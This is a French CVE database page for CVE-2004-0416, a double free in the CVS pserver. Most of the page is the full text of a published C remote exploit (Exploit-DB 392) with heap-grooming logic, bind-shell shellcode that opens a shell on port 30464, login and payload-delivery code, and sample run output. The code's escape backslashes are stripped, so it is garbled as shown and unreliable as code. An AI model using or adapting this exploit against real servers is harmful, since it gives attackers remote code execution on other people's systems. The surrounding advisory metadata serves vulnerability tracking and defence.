CVE-2004-0416 : Détail

CVE-2004-0416

Overflow
93.37%V3
Network
2004-06-11
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Double free vulnerability for the error_prog_name string in CVS 1.12.x through 1.12.8, and 1.11.x through 1.11.16, may allow remote attackers to execute arbitrary code.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 392

Date de publication : 2004-08-12 22h00 +00:00
Auteur : Gyan Chawdhary
EDB Vérifié : Yes

/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln. * * by Gyan Chawdhary, gunnu45@hotmail.com * * Vulnerability Description: * * The Vulnerability lies in the serve_argumentx function. The Argumentx command * parameter is used to append data to a previously supplied Argument command. * These data pointers are stored in the argument_vector array. The * serve_argumentx fails to check wether an Argument command is present in the * argument_vector and may append data to a pointer that should not get * touched at all, in our case the *error_prog_name string. The function calls * realloc to create space for the new string. Because realloc will be called * to store strlen(error_prog_name) + strlen(somedata) the original chunk which * just stores error_prog_name will get freed. This free chunk will once again * get freed after we disconnect from the CVS pserver. * * Theory: * * Sucessful exploitation depends heavily on a specific heap layout to be met. * The argument_vector is initialized for holding 3 ptrs. If more space is * required it will call realloc. The error_prog_name string resides right * after the argument_vector chunk. * * |11| arg_vector |11| error_prog_name |109| some chunk * * address of error_prog_name is stored in the argument_vector[0]. * * To achive sucessfull exploitation the following steps are performed. * * 1) Send Argumentx command with a large argument to reallocate error_prog_name * + large command on top of the heap. This will free the original * error_prog_name buffer. * * 2) Send 50 Argument calls which will require the argument_vector array to be * reallocated freeing the current buffer. We keep this a high number to get * mem from the top itself and to make the exploit reliable. As both the * original the arg_vector & err_prg_name buffers are free they are * consolidated. Also we supply our fake chunk and shellcode in this call. * * 3) Send an argument command with the size & prevsize as its arguments. This * will now be stored in arg_vector & err_prg_name consolidated buffer. * * 4) Once we close the connection free will be called on the error_prog_name * string which will read our fake size & prev_size fields pointing to the fake * chunk , executing our shellcode. * * Phew !!!! * * NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work on * my slack 8.0 cause of glibc 2.2 which creates a very different heap layout. * Also some tweaking will be required to use this exploit remotely as sometimes * the overwritten GOT does not execute due to early drop in the connection .. * Please someone figure it out n mail me :) .. * * Now the exploit * * FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL * PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR * EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE * * Greets: jp - for his cool paper on advanced malloc exploits, and the heapy.so * jaguar@felinemenace - We at ... :P * * cya * * Gyan */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> char shellcode[] = "xebx18" "AAAAAAAAAAAAAAAAAAAAAAAA" "x31xc0" // xorl %eax,%eax "x31xdb" // xorl %ebx,%ebx "x31xc9" // xorl %ecx,%ecx "x31xd2" // xorl %edx,%edx "xb0x66" // movb $0x66,%al "xb3x01" // movb $0x1,%bl "x51" // pushl %ecx "xb1x06" // movb $0x6,%cl "x51" // pushl %ecx "xb1x01" // movb $0x1,%cl "x51" // pushl %ecx "xb1x02" // movb $0x2,%cl "x51" // pushl %ecx "x8dx0cx24" // leal (%esp),%ecx "xcdx80" // int $0x80 /* port is 30464 !!! */ /* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */ "xb3x02" // movb $0x2,%bl "xb1x02" // movb $0x2,%cl "x31xc9" // xorl %ecx,%ecx "x51" // pushl %ecx "x51" // pushl %ecx "x51" // pushl %ecx /* port = 0x77, change if needed */ "x80xc1x77" // addb $0x77,%cl "x66x51" // pushl %cx "xb1x02" // movb $0x2,%cl "x66x51" // pushw %cx "x8dx0cx24" // leal (%esp),%ecx "xb2x10" // movb $0x10,%dl "x52" // pushl %edx "x51" // pushl %ecx "x50" // pushl %eax "x8dx0cx24" // leal (%esp),%ecx "x89xc2" // movl %eax,%edx "x31xc0" // xorl %eax,%eax "xb0x66" // movb $0x66,%al "xcdx80" // int $0x80 /* listen(fd, 1) */ "xb3x01" // movb $0x1,%bl "x53" // pushl %ebx "x52" // pushl %edx "x8dx0cx24" // leal (%esp),%ecx "x31xc0" // xorl %eax,%eax "xb0x66" // movb $0x66,%al "x80xc3x03" // addb $0x3,%bl "xcdx80" // int $0x80 /* cli = accept(fd, 0, 0) */ "x31xc0" // xorl %eax,%eax "x50" // pushl %eax "x50" // pushl %eax "x52" // pushl %edx "x8dx0cx24" // leal (%esp),%ecx "xb3x05" // movl $0x5,%bl "xb0x66" // movl $0x66,%al "xcdx80" // int $0x80 /* dup2(cli, 0) */ "x89xc3" // movl %eax,%ebx "x31xc9" // xorl %ecx,%ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movb $0x3f,%al "xcdx80" // int $0x80 /* dup2(cli, 1) */ "x41" // inc %ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movl $0x3f,%al "xcdx80" // int $0x80 /* dup2(cli, 2) */ "x41" // inc %ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movb $0x3f,%al "xcdx80" // int $0x80 /* execve("//bin/sh", ["//bin/sh", NULL], NULL); */ "x31xdb" // xorl %ebx,%ebx "x53" // pushl %ebx "x68x6ex2fx73x68" // pushl $0x68732f6e "x68x2fx2fx62x69" // pushl $0x69622f2f "x89xe3" // movl %esp,%ebx "x8dx54x24x08" // leal 0x8(%esp),%edx "x31xc9" // xorl %ecx,%ecx "x51" // pushl %ecx "x53" // pushl %ebx "x8dx0cx24" // leal (%esp),%ecx "x31xc0" // xorl %eax,%eax "xb0x0b" // movb $0xb,%al "xcdx80" // int $0x80 /* exit(%ebx) */ "x31xc0" // xorl %eax,%eax "xb0x01" // movb $0x1,%al "xcdx80"; // int $0x80 void login(char *, char *, char *); struct sockaddr_in s; int sock; void xp_connect(char *ip) { char buffer[1024]; char temp[1024]; int tmp; s.sin_family = AF_INET; s.sin_port = htons(2401); s.sin_addr.s_addr = inet_addr(ip); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Cannot create socketn"); exit(-1); } if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0) { printf("Cannot connect()n"); exit(-1); } } void xp_write(char *data) { if(write (sock, data, strlen(data)) < 0) { printf("write() failedn"); exit(-1); } } void xp_receive() { int tmp; char buffer[1024*2]; if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0) { printf("read() failedn"); exit(-1); } printf("%s", buffer); } #define GOT_MEMCPY 0x80d2b4a #define SHELL_ADDR 0x080cda20 char *egg(unsigned int what, unsigned int where) { char *ptr, *buf; int i=0; //dummy = 0xfffffffc; int size = strlen(shellcode); // Will contain our fake chunk supplided with our fd & bk fields, // addr of shellcode & got addr - 8 of free(). We will also try to // stuff in our shellcode in the same buffer as I dont have enough // gdb patience/time to find nother controlable buffer :P buf = (char *)malloc(1250); ptr = buf; for (;i<1248;) { *( (int **)ptr ) = (int *)( where - 8 ); ptr+=4; *( (int **)ptr ) = (int *)( what ); ptr+=4; i+=8; } buf[1250] = ''; ptr -= size; strcpy(ptr, shellcode); ptr = buf; return ptr; } unsigned char shifts[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; char *scramble(char * str) { int i; char * s; s = (char *) malloc (strlen (str) + 3); memset(s, '', strlen(str) + 3); *s = 'A'; for (i = 1; str[i - 1]; i++) s = shifts[(unsigned char)(str[i - 1])]; return (s); } #define LOGIN "BEGIN AUTH REQUESTn/home/cvsrootn%sn%snEND AUTH REQUESTn" #define REQUEST "Root %sn" void login(char *login, char *password, char *repo) { char *buf, *ptr, reply[1024]; char *rep, *rp; buf = (char *)malloc(1024); rep = (char *)malloc(512); ptr = buf; rp = rep; sprintf(ptr, LOGIN, login, scramble(password)); sprintf(rp, REQUEST, repo); ptr = buf; xp_write(ptr); /* login request */ xp_receive(); xp_write(rp); /* root dir request */ } char argumentx[] = "Argumentx %sn"; char argument[] = "Argument %sn"; char trash[] = "FCUK"; char str[] = "Argument x42x42x42x42x6exffxffxffx1cxfcxffxff" "xf0xffxffxffx41x41n"; void overflow() { char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr; int i; data = (char *)malloc(111111); dptr = data; buf = (char *)malloc(111111+20); bufp = buf; arg = (char *)malloc(1500); aptr = arg; memset(dptr, 'x41', 111111); sprintf(bufp, argumentx, data); xp_write(bufp); eg = egg(0x80d2b4a, 0x080cda20); sprintf(aptr, argument, eg); for (i=0 ; i<50; i++) xp_write(aptr); xp_write(str); xp_write(trash); } void usage(char *name) { printf("CVS <= 1.11.15 Argumentx double free() remote exploit by Gyan" "Chawdhary (gunnu45@hotmail.com)n" "Usage: %s <options>n" "-i <target IP address>n" "-l <login>n" "-p <password>n" "-r <repository path>nn", name); } main(int argc, char **argv) { int c; char ip[16], user[32], pass[32], rep[512]; ip[0] = 0; user[0] = 0; pass[0] = 0; rep[0] = 0; if (argc < 2) { usage(argv[0]); exit(0); } while ((c = getopt(argc, argv, "h::l:p:i:r:")) != -1) { switch(c) { case 'h': usage(argv[0]); exit(0); case 'i': strncpy(ip, optarg, sizeof(ip)); break; case 'l': strncpy(user, optarg, sizeof(user)); break; case 'p': strncpy(pass, optarg, sizeof(pass)); break; case 'r': strncpy(rep, optarg, sizeof(rep)); break; } } if(ip) { printf("Connecting to vulnerable CVS server ..."); xp_connect(ip); printf("OKn"); } printf("Logging in ..."); login(user, pass, rep); printf("OKn"); printf("Exploiting the CVS error_prog_name double free now ..."); overflow(); printf("DONEn"); printf("If everything went well there should be a shell on port 30464n"); } //xp_connect("127.0.0.1"); //sleep(20); //login("gyan", "gyan"); //overflow(shellcode); /* [root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot Connecting to vulnerable CVS server ...OK Logging in ...I LOVE YOU OK Exploiting the CVS error_prog_name double free now ...DONE If everything went well there should be a shell on port 30464 [root@ill crazy]# telnet 127.0.0.1 30464 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. */ // milw0rm.com [2004-08-13]

Products Mentioned

Configuraton 0

Cvs>>Cvs >> Version 1.10.7

    Cvs>>Cvs >> Version 1.10.8

      Cvs>>Cvs >> Version 1.11

        Cvs>>Cvs >> Version 1.11.1

          Cvs>>Cvs >> Version 1.11.1_p1

            Cvs>>Cvs >> Version 1.11.2

              Cvs>>Cvs >> Version 1.11.3

                Cvs>>Cvs >> Version 1.11.4

                  Cvs>>Cvs >> Version 1.11.5

                    Cvs>>Cvs >> Version 1.11.6

                      Cvs>>Cvs >> Version 1.11.10

                        Cvs>>Cvs >> Version 1.11.11

                          Cvs>>Cvs >> Version 1.11.14

                            Cvs>>Cvs >> Version 1.11.15

                              Cvs>>Cvs >> Version 1.11.16

                                Cvs>>Cvs >> Version 1.12.1

                                  Cvs>>Cvs >> Version 1.12.2

                                    Cvs>>Cvs >> Version 1.12.5

                                      Cvs>>Cvs >> Version 1.12.7

                                        Cvs>>Cvs >> Version 1.12.8

                                          Openpkg>>Openpkg >> Version *

                                          Openpkg>>Openpkg >> Version 1.3

                                          Openpkg>>Openpkg >> Version 2.0

                                          Sgi>>Propack >> Version 2.4

                                          Sgi>>Propack >> Version 3.0

                                          Configuraton 0

                                          Gentoo>>Linux >> Version 1.4

                                          Openbsd>>Openbsd >> Version *

                                          Openbsd>>Openbsd >> Version 3.4

                                          Openbsd>>Openbsd >> Version 3.5

                                          Références

                                          http://www.debian.org/security/2004/dsa-519
                                          Tags : vendor-advisory, x_refsource_DEBIAN
                                          http://marc.info/?l=bugtraq&m=108716553923643&w=2
                                          Tags : mailing-list, x_refsource_BUGTRAQ
                                          http://www.redhat.com/support/errata/RHSA-2004-233.html
                                          Tags : vendor-advisory, x_refsource_REDHAT
                                          http://www.mandriva.com/security/advisories?name=MDKSA-2004:058
                                          Tags : vendor-advisory, x_refsource_MANDRAKE
                                          http://security.gentoo.org/glsa/glsa-200406-06.xml
                                          Tags : vendor-advisory, x_refsource_GENTOO